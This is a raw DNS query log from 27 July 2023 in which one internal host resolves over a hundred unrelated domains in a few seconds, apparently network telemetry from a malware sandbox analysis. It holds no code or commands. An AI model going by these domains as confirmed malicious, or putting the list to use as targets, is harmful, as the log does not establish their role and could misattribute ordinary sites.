Jul 27, 2023 21:54:12.019135952 CEST	8.8.8.8	192.168.2.4	0xaecd	No error (0)	fifa-ews.com		104.21.10.34	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.019135952 CEST	8.8.8.8	192.168.2.4	0xaecd	No error (0)	fifa-ews.com		172.67.189.227	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.031311989 CEST	8.8.8.8	192.168.2.4	0xfb62	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.100465059 CEST	8.8.8.8	192.168.2.4	0xeb8b	No error (0)	gbp-jp.com		208.80.123.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.100465059 CEST	8.8.8.8	192.168.2.4	0xeb8b	No error (0)	gbp-jp.com		208.80.123.195	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.100465059 CEST	8.8.8.8	192.168.2.4	0xeb8b	No error (0)	gbp-jp.com		208.80.122.2	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.100465059 CEST	8.8.8.8	192.168.2.4	0xeb8b	No error (0)	gbp-jp.com		208.80.122.205	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.101661921 CEST	8.8.8.8	192.168.2.4	0x956c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.149442911 CEST	8.8.8.8	192.168.2.4	0xab22	No error (0)	ccssinc.com		172.67.185.152	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.149442911 CEST	8.8.8.8	192.168.2.4	0xab22	No error (0)	ccssinc.com		104.21.19.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.155107975 CEST	8.8.8.8	192.168.2.4	0xcd4f	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.155107975 CEST	8.8.8.8	192.168.2.4	0xcd4f	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.155107975 CEST	8.8.8.8	192.168.2.4	0xcd4f	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.195235968 CEST	8.8.8.8	192.168.2.4	0x13ef	No error (0)	zugseil.com		92.42.191.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.227215052 CEST	8.8.8.8	192.168.2.4	0x95e4	No error (0)	vvsteknik.dk		185.31.76.90	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.232799053 CEST	8.8.8.8	192.168.2.4	0x187	No error (0)	revoldia.net		154.201.225.123	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.233721018 CEST	8.8.8.8	192.168.2.4	0x69ab	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.275234938 CEST	8.8.8.8	192.168.2.4	0xf2d5	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.290529013 CEST	8.8.8.8	192.168.2.4	0x2e35	No error (0)	ccssinc.com		104.21.19.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.290529013 CEST	8.8.8.8	192.168.2.4	0x2e35	No error (0)	ccssinc.com		172.67.185.152	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.412703037 CEST	8.8.8.8	192.168.2.4	0xf386	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.414366007 CEST	8.8.8.8	192.168.2.4	0x7310	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.414366007 CEST	8.8.8.8	192.168.2.4	0x7310	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.414366007 CEST	8.8.8.8	192.168.2.4	0x7310	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.414366007 CEST	8.8.8.8	192.168.2.4	0x7310	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.518788099 CEST	8.8.8.8	192.168.2.4	0xbe24	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.627707958 CEST	8.8.8.8	192.168.2.4	0x78d9	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:12.627707958 CEST	8.8.8.8	192.168.2.4	0x78d9	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.644627094 CEST	8.8.8.8	192.168.2.4	0x96f8	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.814275980 CEST	8.8.8.8	192.168.2.4	0xd581	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.884633064 CEST	8.8.8.8	192.168.2.4	0x8988	No error (0)	bd-style.com		103.112.69.92	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.971503973 CEST	8.8.8.8	192.168.2.4	0x2cd8	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.971503973 CEST	8.8.8.8	192.168.2.4	0x2cd8	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.002671957 CEST	8.8.8.8	192.168.2.4	0xf678	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.013791084 CEST	8.8.8.8	192.168.2.4	0xe13e	No error (0)	ikulani.com		157.7.107.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.056936979 CEST	8.8.8.8	192.168.2.4	0xe779	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.072583914 CEST	8.8.8.8	192.168.2.4	0xda05	No error (0)	enguita.net		195.5.116.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.147757053 CEST	8.8.8.8	192.168.2.4	0x956c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.243908882 CEST	8.8.8.8	192.168.2.4	0xa22e	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.292613029 CEST	8.8.8.8	192.168.2.4	0xd920	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.362126112 CEST	8.8.8.8	192.168.2.4	0x8f48	No error (0)	popbook.com		47.91.167.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.371895075 CEST	8.8.8.8	192.168.2.4	0x7d45	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.395843983 CEST	8.8.8.8	192.168.2.4	0x28dd	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.402218103 CEST	8.8.8.8	192.168.2.4	0x5aeb	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.413752079 CEST	8.8.8.8	192.168.2.4	0x3fa5	No error (0)	xinhui.net		43.255.29.192	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.427695990 CEST	8.8.8.8	192.168.2.4	0x425e	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.477953911 CEST	8.8.8.8	192.168.2.4	0x7535	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.634812117 CEST	8.8.8.8	192.168.2.4	0xfc2e	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.709970951 CEST	8.8.8.8	192.168.2.4	0xfeb9	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.751588106 CEST	8.8.8.8	192.168.2.4	0xfd48	No error (0)	adeesa.net		172.67.209.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.751588106 CEST	8.8.8.8	192.168.2.4	0xfd48	No error (0)	adeesa.net		104.21.77.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.865417957 CEST	8.8.8.8	192.168.2.4	0x7d7e	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.866775036 CEST	8.8.8.8	192.168.2.4	0x5c76	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.866775036 CEST	8.8.8.8	192.168.2.4	0x5c76	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.884579897 CEST	8.8.8.8	192.168.2.4	0xaf0e	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.894114971 CEST	8.8.8.8	192.168.2.4	0xd2e1	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.898317099 CEST	8.8.8.8	192.168.2.4	0xfd17	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.898317099 CEST	8.8.8.8	192.168.2.4	0xfd17	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.898317099 CEST	8.8.8.8	192.168.2.4	0xfd17	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.906858921 CEST	8.8.8.8	192.168.2.4	0x34fd	No error (0)	bossinst.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.941430092 CEST	8.8.8.8	192.168.2.4	0x997e	No error (0)	msl-lock.com		165.160.13.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:13.941430092 CEST	8.8.8.8	192.168.2.4	0x997e	No error (0)	msl-lock.com		165.160.15.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.003390074 CEST	8.8.8.8	192.168.2.4	0xc625	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.015187979 CEST	8.8.8.8	192.168.2.4	0x314a	No error (0)	zemarmot.net		164.132.175.106	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.075361013 CEST	8.8.8.8	192.168.2.4	0xb81e	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.075361013 CEST	8.8.8.8	192.168.2.4	0xb81e	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.085988045 CEST	8.8.8.8	192.168.2.4	0xe4b4	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.153064013 CEST	8.8.8.8	192.168.2.4	0xacd8	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.153064013 CEST	8.8.8.8	192.168.2.4	0xacd8	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.153064013 CEST	8.8.8.8	192.168.2.4	0xacd8	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.180300951 CEST	8.8.8.8	192.168.2.4	0xb7a5	No error (0)	nekono.net		202.172.28.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.192926884 CEST	8.8.8.8	192.168.2.4	0x316c	No error (0)	e-kami.net		202.172.28.89	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.224504948 CEST	8.8.8.8	192.168.2.4	0x956c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.230566025 CEST	8.8.8.8	192.168.2.4	0x4fd6	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.271323919 CEST	8.8.8.8	192.168.2.4	0x3223	No error (0)	bount.com.tw		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.271323919 CEST	8.8.8.8	192.168.2.4	0x3223	No error (0)	bount.com.tw		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.288635015 CEST	8.8.8.8	192.168.2.4	0xba6	No error (0)	likangds.com		156.251.140.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.311302900 CEST	8.8.8.8	192.168.2.4	0xbb72	Name error (3)	ascc.org.au	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.384290934 CEST	8.8.8.8	192.168.2.4	0xa4ef	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:14.384290934 CEST	8.8.8.8	192.168.2.4	0xa4ef	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.474678040 CEST	8.8.8.8	192.168.2.4	0x7d45	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.509182930 CEST	8.8.8.8	192.168.2.4	0x5ac4	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.510030985 CEST	8.8.8.8	192.168.2.4	0xfeb9	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.516931057 CEST	8.8.8.8	192.168.2.4	0x9026	No error (0)	scintel.com		23.239.201.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.522136927 CEST	8.8.8.8	192.168.2.4	0xface	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.522136927 CEST	8.8.8.8	192.168.2.4	0xface	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.522136927 CEST	8.8.8.8	192.168.2.4	0xface	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.527676105 CEST	8.8.8.8	192.168.2.4	0x1229	Name error (3)	pcoyuncu.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.573641062 CEST	8.8.8.8	192.168.2.4	0x64ae	Name error (3)	ascc.org.au	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.613356113 CEST	8.8.8.8	192.168.2.4	0x840	No error (0)	bd-style.com		103.112.69.92	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.616677046 CEST	8.8.8.8	192.168.2.4	0x313d	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.616677046 CEST	8.8.8.8	192.168.2.4	0x313d	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.669070959 CEST	8.8.8.8	192.168.2.4	0x9029	No error (0)	fundeo.com		104.24.160.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.669070959 CEST	8.8.8.8	192.168.2.4	0x9029	No error (0)	fundeo.com		104.24.161.27	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.669070959 CEST	8.8.8.8	192.168.2.4	0x9029	No error (0)	fundeo.com		172.67.97.62	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.694839954 CEST	8.8.8.8	192.168.2.4	0x736d	Name error (3)	pcoyuncu.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.729355097 CEST	8.8.8.8	192.168.2.4	0x413c	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.739625931 CEST	8.8.8.8	192.168.2.4	0x4dba	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.770414114 CEST	8.8.8.8	192.168.2.4	0xdc5	Name error (3)	ascc.org.au	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.867386103 CEST	8.8.8.8	192.168.2.4	0x5583	Name error (3)	pcoyuncu.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:14.967453003 CEST	8.8.8.8	192.168.2.4	0x2a09	No error (0)	cyclad.pl		87.98.236.253	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.073221922 CEST	8.8.8.8	192.168.2.4	0xef51	No error (0)	www.ex-olive.com		210.140.73.39	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.174354076 CEST	8.8.8.8	192.168.2.4	0x592f	No error (0)	amerifor.com		64.18.191.61	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.181541920 CEST	8.8.8.8	192.168.2.4	0x1f43	No error (0)	mail.airmail.net		66.226.70.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.300048113 CEST	8.8.8.8	192.168.2.4	0x5448	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.300048113 CEST	8.8.8.8	192.168.2.4	0x5448	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.300048113 CEST	8.8.8.8	192.168.2.4	0x5448	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.396889925 CEST	8.8.8.8	192.168.2.4	0x23ad	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.478928089 CEST	8.8.8.8	192.168.2.4	0xdf39	No error (0)	lyto.net		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.478928089 CEST	8.8.8.8	192.168.2.4	0xdf39	No error (0)	lyto.net		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.500893116 CEST	8.8.8.8	192.168.2.4	0x7d45	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.504720926 CEST	8.8.8.8	192.168.2.4	0xc8fd	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.520400047 CEST	8.8.8.8	192.168.2.4	0xb96a	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.737148046 CEST	8.8.8.8	192.168.2.4	0x54dc	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.748945951 CEST	8.8.8.8	192.168.2.4	0xc8dc	No error (0)	kevyt.net		172.67.129.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.748945951 CEST	8.8.8.8	192.168.2.4	0xc8dc	No error (0)	kevyt.net		104.21.2.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.750957012 CEST	8.8.8.8	192.168.2.4	0x52d3	Server failure (2)	avc.com.sa	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.785837889 CEST	8.8.8.8	192.168.2.4	0xcf4e	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.786187887 CEST	8.8.8.8	192.168.2.4	0xb1e7	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.794648886 CEST	8.8.8.8	192.168.2.4	0x55fb	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.817749977 CEST	8.8.8.8	192.168.2.4	0x71e2	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.820851088 CEST	8.8.8.8	192.168.2.4	0xf554	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.850059986 CEST	8.8.8.8	192.168.2.4	0xa563	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.876252890 CEST	8.8.8.8	192.168.2.4	0x73f3	No error (0)	amic.at		78.46.224.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.878220081 CEST	8.8.8.8	192.168.2.4	0xf3b3	No error (0)	atb-lit.com		208.100.26.245	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:15.955212116 CEST	8.8.8.8	192.168.2.4	0x4a5d	No error (0)	nlcv.bas.bg		195.96.252.188	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.021460056 CEST	8.8.8.8	192.168.2.4	0xf95b	No error (0)	aluminox.es		37.59.243.164	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.097748995 CEST	8.8.8.8	192.168.2.4	0x4e0d	No error (0)	vonparis.com		23.185.0.4	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.110829115 CEST	8.8.8.8	192.168.2.4	0xaaa9	No error (0)	absblast.com		141.193.213.20	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.186893940 CEST	8.8.8.8	192.168.2.4	0xa538	No error (0)	www.photo4b.com		195.78.66.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.243448973 CEST	8.8.8.8	192.168.2.4	0xdb24	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.271981955 CEST	8.8.8.8	192.168.2.4	0xa84c	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.311808109 CEST	8.8.8.8	192.168.2.4	0x7e48	No error (0)	acraloc.com		185.230.63.107	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.319072962 CEST	8.8.8.8	192.168.2.4	0x956c	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.502413034 CEST	8.8.8.8	192.168.2.4	0x50b5	No error (0)	hubbikes.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.502413034 CEST	8.8.8.8	192.168.2.4	0x50b5	No error (0)	hubbikes.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.570307970 CEST	8.8.8.8	192.168.2.4	0x7796	No error (0)	wolffkran.de		46.4.56.54	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.623980999 CEST	8.8.8.8	192.168.2.4	0x11c2	No error (0)	k-nikko.com		54.150.159.238	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.623980999 CEST	8.8.8.8	192.168.2.4	0x11c2	No error (0)	k-nikko.com		52.199.213.209	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.639183044 CEST	8.8.8.8	192.168.2.4	0x6a95	No error (0)	www.usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.646400928 CEST	8.8.8.8	192.168.2.4	0xe6d7	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.659125090 CEST	8.8.8.8	192.168.2.4	0xfdac	No error (0)	hes.pt		52.19.230.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.662009954 CEST	8.8.8.8	192.168.2.4	0x4bd2	No error (0)	yoruksut.com		93.187.206.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.688966036 CEST	8.8.8.8	192.168.2.4	0xf179	No error (0)	ikulani.com		157.7.107.88	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.696362019 CEST	8.8.8.8	192.168.2.4	0xdfb0	No error (0)	www.reglera.com	reglera.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:16.696362019 CEST	8.8.8.8	192.168.2.4	0xdfb0	No error (0)	reglera.com		64.125.133.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.715904951 CEST	8.8.8.8	192.168.2.4	0x4a41	No error (0)	biosolve.com		151.101.130.159	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.721344948 CEST	8.8.8.8	192.168.2.4	0x651	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.728848934 CEST	8.8.8.8	192.168.2.4	0x96c9	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.844006062 CEST	8.8.8.8	192.168.2.4	0xf6f2	No error (0)	akdeniz.nl		109.71.54.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.850811005 CEST	8.8.8.8	192.168.2.4	0x1018	No error (0)	plaske.ua		5.181.161.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.901839972 CEST	8.8.8.8	192.168.2.4	0xd4e4	No error (0)	106west.com		148.130.4.196	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.907546043 CEST	8.8.8.8	192.168.2.4	0x506a	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.915158987 CEST	8.8.8.8	192.168.2.4	0xfa85	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.922741890 CEST	8.8.8.8	192.168.2.4	0x241d	No error (0)	beafin.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.940115929 CEST	8.8.8.8	192.168.2.4	0xae3c	No error (0)	yasuma.com		61.200.81.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.962393045 CEST	8.8.8.8	192.168.2.4	0xf013	No error (0)	cvswl.org		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:16.962393045 CEST	8.8.8.8	192.168.2.4	0xf013	No error (0)	cvswl.org		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.071168900 CEST	8.8.8.8	192.168.2.4	0x36c6	No error (0)	skgm.ru		91.201.52.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.255240917 CEST	8.8.8.8	192.168.2.4	0x9403	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.281486988 CEST	8.8.8.8	192.168.2.4	0x47c4	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.308425903 CEST	8.8.8.8	192.168.2.4	0x8006	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.401684999 CEST	8.8.8.8	192.168.2.4	0x70cd	No error (0)	linac.co.uk		23.236.62.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.412255049 CEST	8.8.8.8	192.168.2.4	0xd8b2	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.447993994 CEST	8.8.8.8	192.168.2.4	0xea13	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.477099895 CEST	8.8.8.8	192.168.2.4	0x2a65	No error (0)	shiner.com		172.67.143.148	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.477099895 CEST	8.8.8.8	192.168.2.4	0x2a65	No error (0)	shiner.com		104.21.27.205	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.494594097 CEST	8.8.8.8	192.168.2.4	0xd395	No error (0)	ludea.cz		46.8.8.200	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.530786037 CEST	8.8.8.8	192.168.2.4	0xe890	Name error (3)	chzko.ru	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.556312084 CEST	8.8.8.8	192.168.2.4	0x7d45	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.624744892 CEST	8.8.8.8	192.168.2.4	0xe37b	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.630685091 CEST	8.8.8.8	192.168.2.4	0xa5e1	No error (0)	vivastay.com	traff-4.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:17.630685091 CEST	8.8.8.8	192.168.2.4	0xa5e1	No error (0)	traff-4.hugedomains.com	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:17.630685091 CEST	8.8.8.8	192.168.2.4	0xa5e1	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		3.94.41.167	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.630685091 CEST	8.8.8.8	192.168.2.4	0xa5e1	No error (0)	hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com		52.86.6.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:17.727996111 CEST	8.8.8.8	192.168.2.4	0x2eaa	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
